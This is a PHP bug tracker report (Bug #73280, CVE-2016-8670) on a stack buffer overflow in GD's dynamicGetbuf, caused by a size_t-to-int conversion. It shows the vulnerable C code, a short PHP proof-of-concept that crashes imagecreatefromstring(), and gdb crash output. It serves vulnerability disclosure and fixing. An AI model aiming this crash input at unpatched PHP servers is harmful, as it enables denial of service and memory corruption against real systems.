Stack Buffer Overflow in GD dynamicGetbuf
| Bug #73280 | Stack Buffer Overflow in GD dynamicGetbuf | ||||
|---|---|---|---|---|---|
| Submitted: | 2016-10-10 11:03 UTC | Modified: | 2017-02-13 02:02 UTC | ||
| From: | emmanuel dot law at gmail dot com | Assigned: | cmb (profile) | ||
| Status: | Closed | Package: | GD related | ||
| PHP Version: | 5.6.28 | OS: | * | ||
| Private report: | No | CVE-ID: | 2016-8670 | ||
[2016-10-10 11:03 UTC] emmanuel dot law at gmail dot com
Description:
------------
1) imagecreatefromstring() takes in a string and attempts to convert it into an image. The string is in the variable "data" and the length is stored as size_t (unsigned) within a zend_string structure as seen below. When passed into gdNewDynamicCtxEx(), it gets converted implicitly into an int (signed). If the MSB of the size_t is 1, when converting to an int, this becomes a negative number.
_php_image_create_from_string(...) at php-7.0.11/ext/gd/gd.c:2227 io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0);
2) Tracing the code deeper, the size is set to dp (dynamicPtr) below
allocDynamic(...) at ext/gd/libgd/gd_io_dp.c:272
280 dp->logicalSize = initialSize;
3) During the image conversion, dynamicGetchar() gets called to read 1 byte (line 257).
dynamicGetchar(..) at ext/gd/libgd/gd_io_dp.c
254 unsigned char b;
255 int rv;
256
257 rv = dynamicGetbuf (ctx, &b, 1);
4) Tracing into dynamicGetbuf(), because "remain" (line 236) is negative due to the int conversion, line 243 gets executed and more than 1 byte will be memcpy (line 246). This memcpy would copy bytes to "bu"f which is 1-byte char on the stack. This results in a stack buffer over flow.
dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len) at ext/gd/libgd/gd_io_dp.c:237
236 remain = dp->logicalSize - dp->pos;
237 if (remain >= len) {
238 rlen = len;
239 } else {
240 if (remain == 0) {
241 return EOF;
242 }
243 rlen = remain;
244 }
245
246 memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen);
Test script:
---------------
<?php
ini_set('memory_limit',-1);
$var_3 = str_repeat("A",4294967286);
$var_3[0]="\x00";
$var_3[1]="\x00";
$var_3[2]="\x00";
$var_3[3]="\x00";
$var_3[4]="\x00";
$var_3[5]="\x00";
$var_3[6]="\x00";
$var_3[7]="\x00";
imagecreatefromstring($var_3);
?>
$> ./php-7.0.11 test.php
Segmentation fault
*Note that I trigger this via "WBMP" processing. But it could be triggered via any other format such as GD2, GIF etc.
Actual result:
--------------
Segfault and corrupted stack
Stopped reason: SIGSEGV
__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
154 in ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S
gdb-peda$ bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154
#1 0x00000000006760b4 in dynamicGetbuf (ctx=0x7fffec402000, buf=0x7fffffffa5f3, len=0x1) at /root/php-7.0.11/ext/gd/libgd/gd_io_dp.c:246
#2 0x06000000026760ff in ?? ()
#3 0x0000000000000000 in ?? ()
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2016-10-11 04:57 UTC] stas@php.net
-Assigned To: +Assigned To: pajoye
[2016-10-11 04:57 UTC] stas@php.net
[2016-10-11 23:54 UTC] stas@php.net
-Assigned To: pajoye +Assigned To: cmb
[2016-10-13 09:43 UTC] cmb@php.net
-Status: Assigned +Status: Closed
[2016-10-15 09:03 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-6911
[2016-10-17 04:44 UTC] remi@php.net
-CVE-ID: 2016-6911 +CVE-ID: 2016-8670
[2017-02-13 02:02 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 7.0.11 +PHP Version: 5.6.28